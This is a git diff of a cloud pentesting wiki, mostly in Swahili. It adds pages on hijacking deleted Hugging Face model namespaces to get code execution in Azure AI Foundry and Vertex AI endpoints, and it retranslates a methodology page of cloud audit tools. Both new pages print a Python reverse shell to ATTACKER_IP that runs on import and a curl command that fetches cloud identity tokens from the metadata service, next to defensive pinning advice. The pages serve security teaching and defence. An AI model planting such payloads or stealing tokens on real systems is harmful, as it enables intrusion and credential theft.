diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md
index c9610a2f0..52b7c1b91 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md
@@ -1,3 +1,9 @@
 # Az - Post Exploitation
 
 {{#include ../../../banners/hacktricks-training.md}}
+
+{{#ref}}
+az-azure-ai-foundry-post-exploitation.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md
new file mode 100644
index 000000000..b4664909e
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md
@@ -0,0 +1,94 @@
+# Azure - AI Foundry Post-Exploitation kupitia Hugging Face Model Namespace Reuse
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Senario
+
+- Azure AI Foundry Model Catalog inajumuisha modeli nyingi za Hugging Face (HF) zinazoweza ku-deploy kwa bonyeza moja.
+- Vitambulishi vya modeli za HF ni Author/ModelName. Ikiwa mwandishi/orga wa HF afutwe, mtu yeyote anaweza kujiandikisha tena kama mwandishi huyo na kuchapisha modeli yenye ModelName ile ile katika path ya zamani.
+- Pipelines na catalogs zinazovutana kwa jina tu (bila commit pinning/integrity) zitatatua kwa repos zinazodhibitiwa na mshambuliaji. Wakati Azure inapo-deploy modeli, loader code inaweza kutekelezwa katika mazingira ya endpoint, ikitoa RCE kwa ruhusa za endpoint hiyo.
+
+Mifano ya kawaida ya HF takeover:
+- Uondoaji wa umiliki: Path ya zamani inaonyesha 404 hadi takeover.
+- Uhamisho wa umiliki: Path ya zamani inarudisha 307 kwenda kwa mwandishi mpya wakati mwandishi wa zamani bado yupo. Ikiwa mwandishi wa zamani baadaye afutwe na kujisajili tena, redirect inavunjika na repo ya mshambuliaji hutoa huduma kwenye path ya zamani.
+
+## Kutambua Namespaces Zinazoweza Kutumika Tena (HF)
+```bash
+# Check author/org existence
+curl -I https://huggingface.co/<Author>        # 200 exists, 404 deleted/available
+
+# Check model path
+curl -I https://huggingface.co/<Author>/<ModelName>
+# 307 -> redirect (transfer case), 404 -> deleted until takeover
+```
+## Mtiririko wa Shambulio kutoka Mwanzo hadi Mwisho dhidi ya Azure AI Foundry
+
+1) Katika Katalogi ya Modeli, tafuta modeli za HF ambazo waandishi wa awali walifutwa au kuhamishwa (muandishi wa zamani ameondolewa) kwenye HF.  
+2) Sajili tena muandishi aliyeachwa kwenye HF na uunde tena ModelName.  
+3) Chapisha repo yenye madhara inayojumuisha loader code inayotekelezwa wakati wa import au inayohitaji trust_remote_code=True.  
+4) Weka Author/ModelName ya zamani kutoka Azure AI Foundry. Jukwaa linavuta repo ya mdukuzi; loader inatekelezwa ndani ya container/VM ya endpoint ya Azure, ikitoa RCE na ruhusa za endpoint.
+
+Mfano wa kipande cha payload kinachotekelezwa wakati wa import (kwa maonyesho tu):
+```python
+# __init__.py or a module imported by the model loader
+import os, socket, subprocess, threading
+
+def _rs(host, port):
+s = socket.socket(); s.connect((host, port))
+for fd in (0,1,2):
+try:
+os.dup2(s.fileno(), fd)
+except Exception:
+pass
+subprocess.call(["/bin/sh","-i"])  # or powershell on Windows images
+
+if os.environ.get("AZUREML_ENDPOINT","1") == "1":
+threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
+```
+Maelezo
+- AI Foundry deployments ambazo zinaunganisha HF kwa kawaida hufanya clone na kuimport moduli za repo zinazotajwa katika model’s config (mfano, auto_map), ambazo zinaweza kusababisha code execution. Baadhi ya njia zinahitaji trust_remote_code=True.
+- Ufikiaji kwa kawaida unaendana na ruhusa za endpoint’s managed identity/service principal. Chukulia hii kama initial access foothold kwa ajili ya data access na lateral movement ndani ya Azure.
+
+## Post-Exploitation Tips (Azure Endpoint)
+
+- Orodhesha environment variables na MSI endpoints kwa tokens:
+```bash
+# Azure Instance Metadata Service (inside Azure compute)
+curl -H "Metadata: true" \
+"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
+```
+- Kagua uhifadhi uliounganishwa, vibaki vya modeli, na huduma za Azure zinazoweza kufikiwa ukitumia token uliopata.
+- Fikiria persistence kwa kuacha poisoned model artifacts ikiwa jukwaa linarudisha kutoka HF.
+
+## Mwongozo wa Kinga kwa Watumiaji wa Azure AI Foundry
+
+- Pin modeli kwa commit wakati wa kupakia kutoka HF:
+```python
+from transformers import AutoModel
+m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
+```
+- Fanya mirror ya HF models zilizothibitishwa kwenye registry ya ndani inayotegemewa na uzitekeleze kutoka huko.
+- Endelea kuchunguza codebases na defaults/docstrings/notebooks kwa Author/ModelName zilizowekwa hard-coded ambazo zimefutwa/kuhamishwa; sasisha au pin.
+- Thibitisha uwepo wa mwandishi na asili ya modeli kabla ya deployment.
+
+## Recognition Heuristics (HTTP)
+
+- Mwandishi aliyefutwa: ukurasa wa mwandishi 404; njia ya modeli ya zamani 404 hadi takeover.
+- Modeli iliyohamishwa: njia ya zamani 307 kwenda kwa mwandishi mpya wakati mwandishi wa zamani bado yupo; ikiwa mwandishi wa zamani baadaye anafutwa na kujiandikisha tena, njia ya zamani itahudumia maudhui ya mshambuliaji.
+```bash
+curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
+```
+## Marejeo
+
+- Tazama mbinu pana na maelezo ya mnyororo wa ugavi:
+
+{{#ref}}
+../../pentesting-cloud-methodology.md
+{{#endref}}
+
+## Marejeo
+
+- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
+- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md
index b16f7d106..5a1ceb935 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md
@@ -1,3 +1,9 @@
-# GCP - Post Exploitation
+# GCP - Baada ya Uvamizi
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+{{#ref}}
+gcp-vertex-ai-post-exploitation.md
+{{#endref}}
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
new file mode 100644
index 000000000..a6d3465f4
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
@@ -0,0 +1,113 @@
+# GCP - Vertex AI Post-Exploitation kupitia Hugging Face Model Namespace Reuse
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Senario
+
+- Vertex AI Model Garden inaruhusu kuendesha moja kwa moja modeli nyingi za Hugging Face (HF).
+- HF model identifiers are Author/ModelName. Ikiwa mwandishi/taasisi kwenye HF anafutwa, jina lile la mwandishi linaweza kusajiliwa upya na mtu yeyote. Wavamizi wanaweza kisha kuunda repo lenye ModelName sawa katika path ya zamani.
+- Pipelines, SDKs, au cloud catalogs zinazopakia kwa jina tu (bila pinning/integrity) zitavuta repo inayodhibitiwa na mshambuliaji. Wakati modeli inapoendeshwa, loader code kutoka repo hiyo inaweza kutekelezwa ndani ya container ya endpoint ya Vertex AI, ikitoa RCE kwa ruhusa za endpoint.
+
+Two common takeover cases on HF:
+- Ownership deletion: Old path 404 until someone re-registers the author and publishes the same ModelName.
+- Ownership transfer: HF issues 307 redirects from old Author/ModelName to the new author. If the old author is later deleted and re-registered by an attacker, the redirect chain is broken and the attacker’s repo serves at the legacy path.
+
+## Kutambua Namespaces Zinazoweza Kutumika Upya (HF)
+
+- Old author deleted: the page for the author returns 404; model path may return 404 until takeover.
+- Transferred models: the old model path issues 307 to the new owner while the old author exists. If the old author is later deleted and re-registered, the legacy path will resolve to the attacker’s repo.
+
+Quick checks with curl:
+```bash
+# Check author/org existence
+curl -I https://huggingface.co/<Author>
+# 200 = exists, 404 = deleted/available
+
+# Check old model path behavior
+curl -I https://huggingface.co/<Author>/<ModelName>
+# 307 = redirect to new owner (transfer case)
+# 404 = missing (deletion case) until someone re-registers
+```
+## Mtiririko End-to-end Attack dhidi ya Vertex AI
+
+1) Gundua reusable model namespaces ambazo Model Garden inaorodhesha kama deployable:
+- Tafuta HF models katika Vertex AI Model Garden ambazo bado zinaonyesha kama “verified deployable”.
+- Thibitisha kwenye HF ikiwa mwandishi wa awali ameondolewa au ikiwa modeli ilihamishwa na mwandishi wa zamani baadaye alifutwa.
+
+2) Sajili tena mwandishi aliyefutwa kwenye HF na tengeneza tena ModelName ile ile.
+
+3) Chapisha repo yenye madhumuni mabaya. Jumuisha code inayotekelezwa wakati modeli inapopakiwa. Mifano inayotekelezeka mara kwa mara wakati wa HF model load:
+- Side effects in __init__.py of the repo
+- Custom modeling_*.py or processing code referenced by config/auto_map
+- Code paths that require trust_remote_code=True in Transformers pipelines
+
+4) Deployment ya Vertex AI ya legacy Author/ModelName sasa huvuta repo ya mshambuliaji. The loader inatekelezwa ndani ya Vertex AI endpoint container.
+
+5) Payload inaunda upatikanaji kutoka mazingira ya endpoint (RCE) kwa ruhusa za endpoint.
+
+Mfano wa kipande cha payload kinachotekelezwa wakati wa import (kwa onyesho tu):
+```python
+# Place in __init__.py or a module imported by the model loader
+import os, socket, subprocess, threading
+
+def _rs(host, port):
+s = socket.socket(); s.connect((host, port))
+for fd in (0,1,2):
+try:
+os.dup2(s.fileno(), fd)
+except Exception:
+pass
+subprocess.call(["/bin/sh","-i"])  # Or python -c exec ...
+
+if os.environ.get("VTX_AI","1") == "1":
+threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
+```
+Vidokezo
+- Vifungaji (loaders) katika mazingira halisi vinatofautiana. Integrations nyingi za Vertex AI HF zinakloni na ku-import modules za repo zilizotajwa katika config ya model (mf., auto_map), jambo ambalo linaweza kusababisha utekelezaji wa code. Matumizi mengine yanahitaji trust_remote_code=True.
+- Endpoint kwa kawaida inaendesha ndani ya container maalum yenye wigo mdogo, lakini ni foothold ya awali halali kwa data access na lateral movement katika GCP.
+
+## Post-Exploitation Tips (Vertex AI Endpoint)
+
+Once code is running inside the endpoint container, consider:
+- Kuhesabu environment variables na metadata kwa ajili ya credentials/tokens
+- Kufikia attached storage au mounted model artifacts
+- Kushirikiana na Google APIs kupitia service account identity (Document AI, Storage, Pub/Sub, etc.)
+- Persistence katika model artifact ikiwa platform itare-pull repo
+
+Enumerate instance metadata if accessible (container dependent):
+```bash
+curl -H "Metadata-Flavor: Google" \
+http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
+```
+## Mwongozo wa Ulinzi kwa Watumiaji wa Vertex AI
+
+- Weka modeli kwa commit katika HF loaders ili kuzuia kubadilishwa kimya kimya:
+```python
+from transformers import AutoModel
+m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
+```
+- Nakili HF models zilizothibitishwa kwenye hifadhi/registry ya ndani inayotegemewa, kisha zi-deploy kutoka huko.
+- Endelea kuchunguza codebases na configs kwa hard-coded Author/ModelName ambazo zimefutwa/kuhamishwa; sasisha hadi namespaces mpya au zi-pin kwa commit.
+- Katika Model Garden, thibitisha asili (provenance) ya modeli na uwepo wa mwandishi kabla ya deployment.
+
+## Mikakati ya Utambuzi (HTTP)
+
+- Mwandishi aliyefutwa: ukurasa wa mwandishi 404; njia ya zamani ya modeli 404 mpaka kunyakuliwa.
+- Model iliyohamishwa: njia ya zamani (legacy path) 307 kwa mwandishi mpya wakati mwandishi wa zamani bado yupo; ikiwa mwandishi wa zamani baadaye afutwe na kujiandikisha tena, njia ya zamani inaweza kuhudumia yaliyomo ya mshambuliaji.
+```bash
+curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
+```
+## Marejeo ya Msalaba
+
+- Angalia mbinu pana na vidokezo vya mnyororo wa ugavi:
+
+{{#ref}}
+../../pentesting-cloud-methodology.md
+{{#endref}}
+
+## Marejeo
+
+- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
+- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md
index 754b4bce3..65224d6a7 100644
--- a/src/pentesting-cloud/pentesting-cloud-methodology.md
+++ b/src/pentesting-cloud/pentesting-cloud-methodology.md
@@ -1,44 +1,44 @@
-# Pentesting Cloud Methodology
+# Pentesting Mbinu za Wingu
 
 {{#include ../banners/hacktricks-training.md}}
 
 <figure><img src="../images/CLOUD-logo-letters.svg" alt=""><figcaption></figcaption></figure>
 
-## Basic Methodology
+## Mbinu za Msingi
 
-Kila wingu lina tabia zake za kipekee lakini kwa ujumla kuna mambo machache **ya kawaida ambayo pentester anapaswa kuangalia** wakati wa kupima mazingira ya wingu:
+Kila wingu lina sifa zake, lakini kwa ujumla kuna mambo machache ya **kawaida ambayo pentester anapaswa kukagua** anapomfanyia mtihani mazingira ya wingu:
 
-- **Ukaguzi wa Benchmark**
+- **Ukaguzi wa benchmark**
 - Hii itakusaidia **kuelewa ukubwa** wa mazingira na **huduma zinazotumika**
-- Itakuruhusu pia kupata **makosa ya haraka** kwani unaweza kufanya sehemu kubwa ya majaribio haya kwa kutumia **zana za kiotomatiki**
-- **Uainishaji wa Huduma**
-- Huenda usipate makosa mengi zaidi hapa ikiwa umefanya majaribio ya benchmark kwa usahihi, lakini unaweza kupata baadhi ambayo hayakuangaliwa katika majaribio ya benchmark.
-- Hii itakuruhusu kujua **nini hasa kinatumika** katika mazingira ya wingu
+- Pia itakuwezesha kupata baadhi ya **misconfigurations za haraka** kwani unaweza kufanya sehemu kubwa ya vipimo hivi kwa **zana za otomatiki**
+- **Uorodheshaji wa huduma**
+- Huenda usipate misconfigurations nyingi zaidi hapa ikiwa umefanya kwa usahihi ukaguzi wa benchmark, lakini unaweza kupata baadhi ambazo hazikutazamwa katika ukaguzi wa benchmark.
+- Hii itakuwezesha kujua **ni nini hasa kinachotumika** katika mazingira ya wingu
 - Hii itasaidia sana katika hatua zinazofuata
-- **Angalia mali zilizo wazi**
-- Hii inaweza kufanywa wakati wa sehemu ya awali, unahitaji **kugundua kila kitu ambacho kinaweza kuwa wazi** kwa Mtandao kwa namna fulani na jinsi kinavyoweza kufikiwa.
-- Hapa ninachukua **miundombinu iliyofichuliwa kwa mikono** kama vile mifano yenye kurasa za wavuti au port nyingine zinazofichuliwa, na pia kuhusu **huduma za wingu zinazodhibitiwa ambazo zinaweza kuwekwa** wazi (kama vile DBs au ndoo)
-- Kisha unapaswa kuangalia **kama rasilimali hiyo inaweza kufichuliwa au la** (habari za siri? udhaifu? makosa katika huduma iliyofichuliwa?)
-- **Angalia ruhusa**
-- Hapa unapaswa **kugundua ruhusa zote za kila jukumu/katumizi** ndani ya wingu na jinsi zinavyotumika
-- Je, kuna **akaunti nyingi zenye mamlaka makubwa** (kudhibiti kila kitu)? Funguo zilizozalishwa hazitumiki?... Sehemu kubwa ya ukaguzi huu inapaswa kuwa imefanywa katika majaribio ya benchmark tayari
-- Ikiwa mteja anatumia OpenID au SAML au **shirikisho** lingine unaweza kuhitaji kuwauliza kwa maelezo zaidi kuhusu **jinsi kila jukumu linavyotolewa** (sio sawa kwamba jukumu la admin linatolewa kwa mtumiaji 1 au 100)
-- **Sio vya kutosha kugundua** ni watumiaji gani wana **ruhusa za admin** "\*:\*". Kuna **ruhusa nyingine** nyingi ambazo kulingana na huduma zinazotumika zinaweza kuwa **nyeti** sana.
-- Zaidi ya hayo, kuna **njia za privesc** zinazoweza kufuatwa kwa kutumia ruhusa. Mambo haya yote yanapaswa kuzingatiwa na **njia nyingi za privesc kadri iwezekanavyo** zinapaswa kuripotiwa.
-- **Angalia Mshikamano**
-- Ni uwezekano mkubwa kwamba **mshikamano na mawingu mengine au SaaS** yanatumika ndani ya mazingira ya wingu.
-- Kwa **mshikamano wa wingu unachokagua** na jukwaa lingine unapaswa kutaarifu **nani ana ufaccess (kuutumia) mshikamano huo** na unapaswa kuuliza **ni kiasi gani** kitendo kinachofanywa ni nyeti.\
-Kwa mfano, nani anaweza kuandika katika ndoo ya AWS ambapo GCP inapata data (uliza ni kiasi gani kitendo hicho ni nyeti katika GCP kinachoshughulikia data hiyo).
-- Kwa **mshikamano ndani ya wingu unachokagua** kutoka kwa majukwaa ya nje, unapaswa kuuliza **nani ana ufaccess kwa nje (kuutumia) mshikamano huo** na kuangalia jinsi data hiyo inavyotumika.\
-Kwa mfano, ikiwa huduma inatumia picha ya Docker iliyohifadhiwa katika GCR, unapaswa kuuliza nani ana ufaccess wa kuibadilisha na ni taarifa zipi nyeti na ufaccess zitakazopatikana kwa picha hiyo itakapotekelezwa ndani ya wingu la AWS.
+- **Kagua assets zilizo wazi**
+- Hii inaweza kufanywa wakati wa sehemu iliyopita; unahitaji **gundua kila kitu kinachoweza kufichuliwa** kwa Internet kwa njia fulani na jinsi kinavyoweza kupatikana.
+- Hapa ninamaanisha **infrastruktura iliyofichuliwa kwa mkono** kama instances zenye kurasa za wavuti au port nyingine zilizo wazi, na pia huduma nyingine zinazodhibitiwa na cloud zinazoweza kusanidiwa kufichuliwa (kama DBs au buckets)
+- Kisha unapaswa kukagua **kama rasilimali hiyo inaweza kufichuliwa au la** (maelezo ya siri? vulnerabilities? misconfigurations katika huduma iliyofichuliwa?)
+- **Kagua ruhusa**
+- Hapa unapaswa **kubaini ruhusa zote za kila role/user** ndani ya wingu na jinsi zinavyotumika
+- Je, kuna akaunti nyingi zenye **ruhusa za juu sana** (zinadhibiti kila kitu)? Mifumo ya funguo iliyotengenezwa haitumiki?... Sehemu kubwa za ukaguzi hizi zilipaswa kufanywa tayari katika ukaguzi wa benchmark
+- Ikiwa mteja anatumia OpenID au SAML au utoaji mwingine wa **federation** unaweza kuhitaji kuwauliza taarifa zaidi kuhusu **jinsi kila role inavyoteuliwa** (si sawa role ya admin kupewa mtumiaji 1 au 100)
+- Haijatosha kupata ni watumiaji gani wenye ruhusa za admin "*:*". Kuna ruhusa nyingi nyingine ambazo, kulingana na huduma zinazotumika, zinaweza kuwa sana **nyeti**.
+- Zaidi ya hayo, kuna njia za **privesc** zinazowezekana kufuatwa kwa kutumia vibaya ruhusa. Mambo haya yote yanapaswa kuzingatiwa na **mara nyingi iwezekanavyo njia za privesc** ziwasilishwe katika ripoti.
+- **Kagua Integrations**
+- Inawezekana sana kwamba **integrations na wingu zingine au SaaS** zimetumika ndani ya mazingira ya wingu.
+- Kwa **integrations za wingu unayechunguza** na platform nyingine unapaswa kuwajulisha **nani anaweza kufikia (au kutumia vibaya) integration hiyo** na unapaswa kuuliza **je, kitendo kinachofanywa ni cha kiasi gani nyeti**.\
+Kwa mfano, nani anaweza kuandika katika bucket ya AWS ambapo GCP inachukua data kutoka (uliza jinsi kitendo hicho kinavyonyeti kwa GCP kinaposhughulikia data hiyo).
+- Kwa **integrations ndani ya wingu unayechunguza** kutoka kwa platform za nje, unapaswa kuuliza **nani ana ufikiaji wa nje wa (kutumia vibaya) integration hiyo** na kukagua jinsi data hiyo inavyotumika.\
+Kwa mfano, ikiwa huduma inatumia Docker image iliyohostwa katika GCR, unapaswa kuuliza nani ana ufikiaji wa kuibadilisha na ni taarifa nyeti na upatikanaji gani vitapatikana kwa image hiyo ikitekelezwa ndani ya AWS cloud.
 
 ## Multi-Cloud tools
 
-Kuna zana kadhaa ambazo zinaweza kutumika kupima mazingira tofauti ya wingu. Hatua za usakinishaji na viungo vitatajwa katika sehemu hii.
+Kuna zana kadhaa zinazoweza kutumika kujaribu mazingira tofauti ya wingu. Hatua za usakinishaji na viungo vitatajwa katika sehemu hii.
 
 ### [PurplePanda](https://github.com/carlospolop/purplepanda)
 
-Zana ya **kutambua makosa mabaya ya usanidi na njia za privesc katika mawingu na kati ya mawingu/SaaS.**
+Zana ya **kutambua misconfigurations na privesc path katika cloud na kwa kuvuka cloud/SaaS.**
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
 
 ### [Prowler](https://github.com/prowler-cloud/prowler)
 
-Inasaidia **AWS, GCP & Azure**. Angalia jinsi ya kuunda kila mtoa huduma katika [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
+Inasaidia **AWS, GCP & Azure**. Angalia jinsi ya kusanidi kila mtoa huduma kwenye [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
 ```bash
 # Install
 pip install prowler
@@ -146,7 +146,7 @@ done
 
 {{#tabs }}
 {{#tab name="Install" }}
-Pakua na usakinishe Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Au tumia Brew:
+Pakua na sakinisha Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Au tumia Brew:
 ```
 brew tap turbot/tap
 brew install steampipe
@@ -168,9 +168,9 @@ steampipe check all
 ```
 <details>
 
-<summary>Angalia Miradi Yote</summary>
+<summary>Angalia Miradi Zote</summary>
 
-Ili kuangalia miradi yote unahitaji kuunda faili la `gcp.spc` linaloashiria miradi yote ya kupima. Unaweza kufuata tu maelekezo kutoka kwa skripti ifuatayo.
+Ili kukagua miradi yote, unahitaji kuunda faili `gcp.spc` inayotaja miradi yote ya kujaribu. Unaweza kufuata maelekezo kutoka kwenye script ifuatayo.
 ```bash
 FILEPATH="/tmp/gcp.spc"
 rm -rf "$FILEPATH" 2>/dev/null
@@ -194,11 +194,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
 ```
 </details>
 
-Ili kuangalia **maelezo mengine ya GCP** (yenye manufaa kwa kuorodhesha huduma) tumia: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
+Ili kuangalia **insights nyingine za GCP** (zinazotumika kuorodhesha huduma) tumia: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
 
-Ili kuangalia msimbo wa Terraform GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
+Ili kuangalia msimbo wa Terraform wa GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
 
-Viongezeo zaidi vya GCP vya Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
+Viendelezi vingine vya GCP vya Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
 {{#endtab }}
 
 {{#tab name="AWS" }}
@@ -225,24 +225,24 @@ cd steampipe-mod-aws-compliance
 steampipe dashboard # To see results in browser
 steampipe check all --export=/tmp/output4.json
 ```
-Ili kuangalia msimbo wa Terraform AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
+Ili kukagua msimbo wa Terraform wa AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
 
-Viongezeo zaidi vya AWS vya Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
+Viendeleo zaidi za AWS za Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
 {{#endtab }}
 {{#endtabs }}
 
 ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
 
 AWS, GCP, Azure, DigitalOcean.\
-Inahitaji python2.7 na inaonekana haina matengenezo.
+Inahitaji python2.7 na inaonekana haijatunzwa.
 
 ### Nessus
 
-Nessus ina _**Ukaguzi wa Miundombinu ya Wingu**_ inayounga mkono: AWS, Azure, Office 365, Rackspace, Salesforce. Mipangilio ya ziada katika **Azure** inahitajika ili kupata **Client Id**.
+Nessus ina skani ya _**Audit Cloud Infrastructure**_ inayounga mkono: AWS, Azure, Office 365, Rackspace, Salesforce. Marekebisho ya ziada kwenye **Azure** yanahitajika kupata a **Client Id**.
 
 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
 
-Cloudlist ni **chombo cha wingu nyingi kwa kupata Mali** (Majina ya Kikoa, Anwani za IP) kutoka kwa Watoa Huduma za Wingu.
+Cloudlist ni chombo cha **multi-cloud** kwa kupata Assets (Hostnames, IP Addresses) kutoka kwa Cloud Providers.
 
 {{#tabs }}
 {{#tab name="Cloudlist" }}
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>
 
 ### [**cartography**](https://github.com/lyft/cartography)
 
-Cartography ni chombo cha Python kinachounganisha mali za miundombinu na uhusiano kati yao katika mtazamo wa grafu wa kueleweka unaoendeshwa na hifadhidata ya Neo4j.
+Cartography ni zana ya Python inayokusanya rasilimali za miundombinu na uhusiano kati yao katika mtazamo wa grafu unaoeleweka kwa urahisi unaotumia hifadhidata ya Neo4j.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography  \
 
 ### [**starbase**](https://github.com/JupiterOne/starbase)
 
-Starbase inakusanya mali na uhusiano kutoka kwa huduma na mifumo ikiwa ni pamoja na miundombinu ya wingu, programu za SaaS, udhibiti wa usalama, na zaidi katika muonekano wa grafu unaoeleweka unaoungwa mkono na hifadhidata ya Neo4j.
+Starbase inakusanya mali na uhusiano kutoka kwa huduma na mifumo, ikijumuisha cloud infrastructure, SaaS applications, udhibiti wa usalama, na zaidi, yote katika muonekano wa grafu unaoeleweka ulioungwa mkono na Neo4j database.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687
 
 ### [**SkyArk**](https://github.com/cyberark/SkyArk)
 
-Gundua watumiaji wenye mamlaka zaidi katika mazingira ya AWS au Azure yaliyoskanwa, ikiwa ni pamoja na AWS Shadow Admins. Inatumia powershell.
+Gundua watumiaji walio na ruhusa za juu zaidi katika mazingira ya AWS au Azure yaliyokaguliwa, ikijumuisha AWS Shadow Admins. Inatumia powershell.
 ```bash
 Import-Module .\SkyArk.ps1 -force
 Start-AzureStealth
@@ -372,15 +372,15 @@ Scan-AzureAdmins
 ```
 ### [Cloud Brute](https://github.com/0xsha/CloudBrute)
 
-Chombo cha kutafuta miundombinu ya kampuni (lengo), faili, na programu kwenye watoa huduma wakuu wa wingu (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
+Zana ya kutafuta miundombinu ya kampuni (lengo), faili, na apps kwenye watoa huduma wakubwa wa cloud (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
 
 ### [CloudFox](https://github.com/BishopFox/cloudfox)
 
-- CloudFox ni chombo cha kutafuta njia za shambulio zinazoweza kutumika katika miundombinu ya wingu (kwa sasa inasaidia tu AWS & Azure na GCP inakuja).
-- Ni chombo cha kuhesabu ambacho kinakusudia kukamilisha pentesting ya mikono.
-- Hakiundui au kubadilisha data yoyote ndani ya mazingira ya wingu.
+- CloudFox ni zana ya kutafuta exploitable attack paths katika cloud infrastructure (kwa sasa inasaidia tu AWS & Azure na GCP inakuja hivi karibuni).
+- Ni enumeration tool iliyokusudiwa kukamilisha manual pentesting.
+- Haiundii wala kuharibu data yoyote ndani ya cloud environment.
 
-### Orodha zaidi za zana za usalama wa wingu
+### More lists of cloud security tools
 
 - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
 
@@ -410,12 +410,12 @@ aws-security/
 azure-security/
 {{#endref}}
 
-### Mchoro wa Shambulio
+### Attack Graph
 
-[**Stormspotter** ](https://github.com/Azure/Stormspotter) inaunda “mchoro wa shambulio” wa rasilimali katika usajili wa Azure. Inawawezesha timu za red na wapimaji wa pentesting kuona uso wa shambulio na fursa za kuhamasisha ndani ya mpangilio, na inawapa nguvu walinzi wako kuweza kujiandaa haraka na kuweka kipaumbele kazi za majibu ya tukio.
+[**Stormspotter** ](https://github.com/Azure/Stormspotter) inaunda an “attack graph” ya rasilimali katika Azure subscription. Inawawezesha red teams na pentesters kuona attack surface na fursa za pivot ndani ya tenant, na kuwapa defenders nguvu ya ziada kujiwekea mwelekeo na kipaumbele haraka katika kazi za incident response.
 
 ### Office365
 
-Unahitaji **Global Admin** au angalau **Global Admin Reader** (lakini kumbuka kwamba Global Admin Reader ina mipaka kidogo). Hata hivyo, mipaka hiyo inaonekana katika baadhi ya moduli za PS na inaweza kupitishwa kwa kufikia vipengele **kupitia programu ya wavuti**.
+Unahitaji **Global Admin** au angalau **Global Admin Reader** (lakini kumbuka kwamba Global Admin Reader ina vikwazo vidogo). Hata hivyo, vikwazo hivyo vinaonekana katika baadhi ya PS modules na vinaweza kuepukwa kwa kufikia features **via the web application**.
 
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